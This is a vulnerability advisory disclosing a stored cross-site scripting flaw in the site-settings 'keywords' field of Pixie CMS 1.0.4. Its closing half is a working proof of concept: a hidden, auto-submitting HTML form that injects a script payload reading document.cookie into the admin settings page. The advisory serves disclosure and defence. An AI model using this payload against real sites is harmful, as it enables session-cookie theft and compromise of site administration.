Vulnerability ID: HTB22468 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pixie.html Product: Pixie Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) Vulnerable Version: 1.0.4 and Probably Prior Versions Vendor Notification: 01 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the site settings saving script to properly sanitize user-supplied input in "keywords" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=site"; method="post" name="main" > <input type="hidden" name="sitename" value="Pixie" /> <input type="hidden" name="url" value="http://host/"; /> <input type="hidden" name="default" value="blog/" /> <input type="hidden" name="keywords" value='key1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="site_auth" value="sute author" /> <input type="hidden" name="site_cright" value="copyright" /> <input type="hidden" name="cleanurls" value="yes" /> <input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" /> </form> <script> document.getElementById('form_addedit_submit').click(); </script>
